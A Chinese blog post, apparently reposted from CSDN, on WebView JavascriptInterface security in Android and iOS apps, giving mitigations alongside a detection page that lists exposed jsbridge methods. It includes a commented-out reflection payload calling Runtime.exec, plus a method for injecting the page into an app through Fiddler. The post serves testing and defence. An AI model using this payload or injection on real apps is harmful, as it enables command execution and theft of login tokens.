APP webview JavascriptInterface安全

一、Android webview

1.1 Android4.2版本之前WebView.addJavascriptInterface存在反射调用执行任意命令漏洞。

要利用成功,首先需要Android版本低于4.2(相当少,设置minSdkVersion为17可避免运行在低版本机器),然后该webview能打开恶意网页(扫码、url scheme、动态内容,均有可能产生站外链接,但一般app不会打开站外链接)

Android版本低于4.2时webview不能添加jsbridge(JavascriptInterface),且需要删除系统级三个接口:

removeJavascriptInterface("searchBoxJavaBridge_") 

removeJavascriptInterface("accessibility")

removeJavascriptInterface("accessibilityTraversal")

可在重载shouldoverrideurlloading,onalert,onprompt等函数,实现类似的jsbridge效果

4.2版本以后必须加上@JavascriptInterface注解,才能被js调用

1.2 webview开放的jsbridge可以获取登录token、下载app等敏感操作

有些开发者觉得JavascriptInterface很好用,很适合app h5化(hybrid)。所以开放大量的jsbridge方法,且不限制调用来源

若通过app扫码可以打开站外链接,则站外恶意页面可以轻易读取到用户登录token。(站外页面可以发现所有webview开放的jsbridge,后面介绍)

开发者应使用白名单限制webview可以加载哪些域下的页面,webview获取当前页面url有两种方式webView.getOriginalUrl()和webView.getUrl(),使用后一种较安全


二、IOS webview

IOS webview没有反射调用风险,但存在开放未作限制的jsbridge风险

IOS有两种webview,UIWebView(较旧)和WKWebview,jsbridge调用方式分别为

window.OCModel['jsbridge'](shareObj)和window.webkit.messageHandlers.jsbridge.postMessage(data)


三、发现所有webview开放jsbridge

3.1 保存如下代码到服务器(android,ios均适用)

<meta charset="UTF-8">
<title>webview jsbridge检测</title>

<script type="text/javascript">
// function getContents(inputStream)
// {
// 	var contents = "";
// 	var b = inputStream.read();
// 	while(b != -1) {
//     	var bString = String.fromCharCode(b);
//     	contents += bString;
//     	contents += "\n"
//     	b = inputStream.read();
// 	}
// 	return contents;
// }

function check() {
	var origin = 'caches,localStorage,sessionStorage,webkitStorageInfo,indexedDB,webkitIndexedDB,ondeviceorientationabsolute,ondeviceorientation,ondevicemotion,crypto,stop,open,alert,confirm,prompt,print,requestAnimationFrame,cancelAnimationFrame,requestIdleCallback,cancelIdleCallback,captureEvents,releaseEvents,getComputedStyle,matchMedia,moveTo,moveBy,resizeTo,resizeBy,getSelection,postMessage,find,blur,focus,getMatchedCSSRules,close,webkitRequestAnimationFrame,webkitCancelAnimationFrame,ontouchstart,webkitCancelRequestAnimationFrame,ontouchmove,ontouchend,ontouchcancel,btoa,onpointerup,atob,onpointerover,setTimeout,onpointerout,onpointermove,clearTimeout,onpointerleave,onpointerenter,onpointerdown,setInterval,onpointercancel,clearInterval,createImageBitmap,onorientationchange,scroll,orientation,scrollTo,scrollBy,customElements,onauxclick,performance,fetch,onunload,onunhandledrejection,console,onstorage,getContents,onrejectionhandled,onpopstate,check,onpageshow,onpagehide,ononline,onoffline,onmessage,onlanguagechange,onhashchange,onbeforeunload,onwaiting,onvolumechange,ontoggle,ontimeupdate,onsuspend,onsubmit,onstalled,onshow,onselect,onseeking,onseeked,onscroll,onresize,onreset,onratechange,onprogress,onplaying,onplay,onpause,onmousewheel,onmouseup,onmouseover,onmouseout,onmousemove,onmouseleave,onmouseenter,onmousedown,onloadstart,onloadedmetadata,onloadeddata,onload,onkeyup,onkeypress,onkeydown,oninvalid,oninput,onfocus,onerror,onended,onemptied,ondurationchange,ondrop,ondragstart,ondragover,ondragleave,ondragenter,ondragend,ondrag,ondblclick,oncuechange,oncontextmenu,onclose,onclick,onchange,oncanplaythrough,oncanplay,oncancel,onblur,onabort,isSecureContext,onwheel,onwebkittransitionend,onwebkitanimationstart,onwebkitanimationiteration,onwebkitanimationend,ontransitionend,onsearch,onanimationstart,onanimationiteration,onanimationend,styleMedia,defaultstatus,defaultStatus,screenTop,screenLeft,clientInformation,devicePixelRatio,outerHeight,outerWidth,screenY,screenX,pageYOffset,scrollY,pageXOffset,scrollX,innerHeight,innerWidth,screen,external,applicationCache,navigator,frameElement,parent,opener,top,length,frames,closed,status,toolbar,statusbar,scrollbars,personalbar,menubar,locationbar,history,location,name,document,self,window,TEMPORARY,PERSISTENT,addEventListener,removeEventListener,dispatchEvent';
	
	var u = navigator.userAgent;
	var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Linux') > -1;
	
	if(!isAndroid){
		document.write('IOS:<br>');
		if(window.OCModel == undefined){
			alert('no uiwebview')
		}else{
			for (var o in window.OCModel) {
				document.write(o+':<br>');
			}
		}
		
		if(window.webkit == undefined){
			alert('no wkwebview')
		}else{
			for (var o in window.webkit.messageHandlers) {
				document.write(o+':<br>');
			}
		}					

		return;
	}

	for (var obj in window){
    	if(origin.indexOf(obj)<0){
	    	document.write(obj+':<br>');
	    	for (var o in window[obj]) {
	    		document.write('  '+o+'<br>');
	    	}
	    }
    }

    // document.write('<br>dangerous:<');
    // try {
    //   	if ("getClass" in window[obj]) { 
    //     	alert(obj);
    //     	try{ 
    //       		window[obj].getClass();
    //       		document.write('<b>'+obj+'</b><br>');
    //       		var p = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(["id"]);
    //       		document.write(getContents(p.getInputStream())+'<br>');
    //     	}catch(e){
    //   		} 
    //   	} 
    // } catch(e) {
    // }
}

check();
</script>

3.2 迫使APP加载此页面

若没有扫码方式、且没有其他明显方式打开页面,可尝试通过fiddler工具的自动响应功能,修改app加载的html文档,将上述代码响应给app webview。然后就可以发现所有开放的jsbridge了

猜你喜欢

转载自blog.csdn.net/haoren_xhf/article/details/80931505
今日推荐